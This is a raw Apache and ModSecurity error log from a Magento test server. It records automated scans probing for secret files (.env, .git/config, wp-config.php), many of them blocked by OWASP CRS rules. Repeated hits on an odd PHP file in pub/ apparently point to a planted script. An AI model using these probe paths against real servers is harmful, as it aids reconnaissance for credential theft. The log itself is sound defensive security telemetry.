[Sat Nov 22 13:57:51.103622 2025] [authz_core:error] [pid 245727] [client 147.182.200.94:36588] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sat Nov 22 13:57:52.628552 2025] [:error] [pid 254081] [client 147.182.200.94:36608] [client 147.182.200.94] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSGzUP8cXoP-AWZrT1wn5wAAAAI"]
[Sat Nov 22 13:57:52.628852 2025] [:error] [pid 254081] [client 147.182.200.94:36608] [client 147.182.200.94] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSGzUP8cXoP-AWZrT1wn5wAAAAI"]
[Sat Nov 22 13:57:52.629037 2025] [:error] [pid 254081] [client 147.182.200.94:36608] [client 147.182.200.94] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSGzUP8cXoP-AWZrT1wn5wAAAAI"]
[Sat Nov 22 13:57:53.152756 2025] [:error] [pid 245731] [client 147.182.200.94:36618] [client 147.182.200.94] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSGzUeyC1YwvqVRI1UCxHAAAAAU"]
[Sat Nov 22 13:57:53.152993 2025] [:error] [pid 245731] [client 147.182.200.94:36618] [client 147.182.200.94] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSGzUeyC1YwvqVRI1UCxHAAAAAU"]
[Sat Nov 22 13:57:53.153163 2025] [:error] [pid 245731] [client 147.182.200.94:36618] [client 147.182.200.94] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSGzUeyC1YwvqVRI1UCxHAAAAAU"]
[Sat Nov 22 13:57:53.652152 2025] [:error] [pid 245725] [client 147.182.200.94:36628] [client 147.182.200.94] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSGzUWehVzYRWnHMwn6tVAAAAAE"]
[Sat Nov 22 13:57:53.652495 2025] [:error] [pid 245725] [client 147.182.200.94:36628] [client 147.182.200.94] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSGzUWehVzYRWnHMwn6tVAAAAAE"]
[Sat Nov 22 13:57:53.653513 2025] [:error] [pid 245725] [client 147.182.200.94:36628] [client 147.182.200.94] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSGzUWehVzYRWnHMwn6tVAAAAAE"]
[Sun Nov 23 00:24:29.227981 2025] [autoindex:error] [pid 264158] [client 46.246.122.37:35651] AH01276: Cannot serve directory /var/www/magento.test.indacotrentino.com/www/pub/errors/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: https://forst-trento.test.indacotrentino.com/errors
[Sun Nov 23 00:24:29.298501 2025] [authz_core:error] [pid 263846] [client 109.248.147.75:37587] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/pub/cron.php
[Sun Nov 23 00:24:29.346871 2025] [authz_core:error] [pid 264147] [client 185.40.4.149:49414] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/pub/cron.php
[Sun Nov 23 00:24:30.354672 2025] [authz_core:error] [pid 263849] [client 149.102.237.53:41635] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/pub/cron.php
[Sun Nov 23 00:24:31.198423 2025] [authz_core:error] [pid 264216] [client 15.161.128.233:37059] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Sun Nov 23 00:24:31.425531 2025] [autoindex:error] [pid 264213] [client 2.57.170.237:30016] AH01276: Cannot serve directory /var/www/magento.test.indacotrentino.com/www/pub/errors/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: https://forst-trento.test.indacotrentino.com/errors
[Sun Nov 23 00:24:31.589862 2025] [authz_core:error] [pid 264211] [client 67.21.32.156:16397] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Sun Nov 23 00:24:31.630151 2025] [authz_core:error] [pid 264212] [client 185.206.225.168:50743] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Sun Nov 23 00:24:32.150086 2025] [php:warn] [pid 264185] [client 217.170.194.172:43325] PHP Warning: Undefined array key "d" in /var/www/magento.test.indacotrentino.com/www/pub/bcf93fbb4020.php on line 1
[Sun Nov 23 00:24:32.286364 2025] [autoindex:error] [pid 264216] [client 138.197.232.85:33479] AH01276: Cannot serve directory /var/www/magento.test.indacotrentino.com/www/pub/errors/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: https://forst-trento.test.indacotrentino.com/errors
[Sun Nov 23 00:24:33.208124 2025] [php:warn] [pid 264213] [client 15.161.128.233:49249] PHP Warning: Undefined array key "d" in /var/www/magento.test.indacotrentino.com/www/pub/bcf93fbb4020.php on line 1
[Sun Nov 23 00:24:39.769178 2025] [php:warn] [pid 263846] [client 157.254.55.126:37517] PHP Warning: Undefined array key "d" in /var/www/magento.test.indacotrentino.com/www/pub/bcf93fbb4020.php on line 1
[Sun Nov 23 00:24:58.100754 2025] [authz_core:error] [pid 264158] [client 185.206.225.168:53035] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Sun Nov 23 00:24:58.599602 2025] [autoindex:error] [pid 264147] [client 46.246.122.37:33998] AH01276: Cannot serve directory /var/www/magento.test.indacotrentino.com/www/pub/errors/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: https://forst-trento.test.indacotrentino.com/errors
[Sun Nov 23 00:25:24.576452 2025] [authz_core:error] [pid 264213] [client 185.40.4.149:60728] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/pub/cron.php
[Sun Nov 23 00:25:25.017109 2025] [authz_core:error] [pid 263849] [client 185.40.4.10:58702] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/pub/cron.php
[Sun Nov 23 00:25:39.653340 2025] [php:warn] [pid 264142] [client 81.33.233.180:38753] PHP Warning: Undefined array key "d" in /var/www/magento.test.indacotrentino.com/www/pub/bcf93fbb4020.php on line 1
[Sun Nov 23 00:26:10.776333 2025] [:error] [pid 264142] [client 46.246.122.37:17636] [client 46.246.122.37] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /dpk9fckhwtg9lgfmc.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Dpk9fcKhWTg9lgFmC.htaccess"] [unique_id "aSJGkjACHkR_YOZwyOi_wgAAAAQ"]
[Sun Nov 23 00:26:10.776673 2025] [:error] [pid 264142] [client 46.246.122.37:17636] [client 46.246.122.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Dpk9fcKhWTg9lgFmC.htaccess"] [unique_id "aSJGkjACHkR_YOZwyOi_wgAAAAQ"]
[Sun Nov 23 00:26:10.776873 2025] [:error] [pid 264142] [client 46.246.122.37:17636] [client 46.246.122.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Dpk9fcKhWTg9lgFmC.htaccess"] [unique_id "aSJGkjACHkR_YOZwyOi_wgAAAAQ"]
[Sun Nov 23 00:26:11.097522 2025] [:error] [pid 264216] [client 46.246.122.37:61453] [client 46.246.122.37] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /8m1lcfqxgvqeoa1xvx.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/8m1LCFqxGvQeoa1xvx.htaccess"] [unique_id "aSJGk0uy3Z5uOc28nrq9-gAAAAY"]
[Sun Nov 23 00:26:11.097865 2025] [:error] [pid 264216] [client 46.246.122.37:61453] [client 46.246.122.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/8m1LCFqxGvQeoa1xvx.htaccess"] [unique_id "aSJGk0uy3Z5uOc28nrq9-gAAAAY"]
[Sun Nov 23 00:26:11.098072 2025] [:error] [pid 264216] [client 46.246.122.37:61453] [client 46.246.122.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/8m1LCFqxGvQeoa1xvx.htaccess"] [unique_id "aSJGk0uy3Z5uOc28nrq9-gAAAAY"]
[Sun Nov 23 00:26:11.453698 2025] [:error] [pid 264147] [client 46.246.122.37:40318] [client 46.246.122.37] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /cmzmrein1uaqfknm7yh.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/CMZmREIn1UAQFkNM7Yh.htaccess"] [unique_id "aSJGkzzntZDulJ5yce3SygAAAAg"]
[Sun Nov 23 00:26:11.454034 2025] [:error] [pid 264147] [client 46.246.122.37:40318] [client 46.246.122.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/CMZmREIn1UAQFkNM7Yh.htaccess"] [unique_id "aSJGkzzntZDulJ5yce3SygAAAAg"]
[Sun Nov 23 00:26:11.454202 2025] [:error] [pid 264147] [client 46.246.122.37:40318] [client 46.246.122.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/CMZmREIn1UAQFkNM7Yh.htaccess"] [unique_id "aSJGkzzntZDulJ5yce3SygAAAAg"]
[Sun Nov 23 00:26:11.773926 2025] [authz_core:error] [pid 264212] [client 46.246.122.37:62815] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Sun Nov 23 00:27:30.429207 2025] [authz_core:error] [pid 264184] [client 46.246.122.37:43168] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/pub/cron.php
[Sun Nov 23 00:28:55.838448 2025] [:error] [pid 264227] [client 46.246.122.37:30374] [client 46.246.122.37] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aSJHNzHvpr34mDuN5LLhkgAAAAE"]
[Sun Nov 23 00:28:55.838782 2025] [:error] [pid 264227] [client 46.246.122.37:30374] [client 46.246.122.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aSJHNzHvpr34mDuN5LLhkgAAAAE"]
[Sun Nov 23 00:28:55.838980 2025] [:error] [pid 264227] [client 46.246.122.37:30374] [client 46.246.122.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aSJHNzHvpr34mDuN5LLhkgAAAAE"]
[Sun Nov 23 00:30:02.501153 2025] [:error] [pid 264212] [client 46.246.122.37:37943] [client 46.246.122.37] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aSJHeseatXoUO6wBiGntWAAAAAk"]
[Sun Nov 23 00:30:02.501489 2025] [:error] [pid 264212] [client 46.246.122.37:37943] [client 46.246.122.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aSJHeseatXoUO6wBiGntWAAAAAk"]
[Sun Nov 23 00:30:02.501663 2025] [:error] [pid 264212] [client 46.246.122.37:37943] [client 46.246.122.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aSJHeseatXoUO6wBiGntWAAAAAk"]
[Sun Nov 23 00:30:07.402239 2025] [:error] [pid 263849] [client 46.246.122.37:39216] [client 46.246.122.37] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aSJHfzoxksB4bGpq0Of-5AAAAAs"]
[Sun Nov 23 00:30:07.402637 2025] [:error] [pid 263849] [client 46.246.122.37:39216] [client 46.246.122.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aSJHfzoxksB4bGpq0Of-5AAAAAs"]
[Sun Nov 23 00:30:07.402809 2025] [:error] [pid 263849] [client 46.246.122.37:39216] [client 46.246.122.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aSJHfzoxksB4bGpq0Of-5AAAAAs"]
[Sun Nov 23 00:32:00.315791 2025] [authz_core:error] [pid 264158] [client 156.146.41.199:36809] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/pub/cron.php
[Sun Nov 23 00:32:00.330255 2025] [authz_core:error] [pid 264227] [client 185.206.225.168:37985] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/pub/cron.php
[Sun Nov 23 00:32:00.449830 2025] [:error] [pid 263846] [client 185.206.225.168:49895] [client 185.206.225.168] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aSJH8J1oC-JOo5N4AW6Z7gAAAAU"]
[Sun Nov 23 00:32:00.450101 2025] [:error] [pid 263846] [client 185.206.225.168:49895] [client 185.206.225.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aSJH8J1oC-JOo5N4AW6Z7gAAAAU"]
[Sun Nov 23 00:32:00.450295 2025] [:error] [pid 263846] [client 185.206.225.168:49895] [client 185.206.225.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aSJH8J1oC-JOo5N4AW6Z7gAAAAU"]
[Sun Nov 23 00:32:01.100074 2025] [:error] [pid 264212] [client 149.102.237.53:57633] [client 149.102.237.53] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aSJH8ceatXoUO6wBiGntagAAAAk"]
[Sun Nov 23 00:32:01.100344 2025] [:error] [pid 264212] [client 149.102.237.53:57633] [client 149.102.237.53] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aSJH8ceatXoUO6wBiGntagAAAAk"]
[Sun Nov 23 00:32:01.100546 2025] [:error] [pid 264212] [client 149.102.237.53:57633] [client 149.102.237.53] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aSJH8ceatXoUO6wBiGntagAAAAk"]
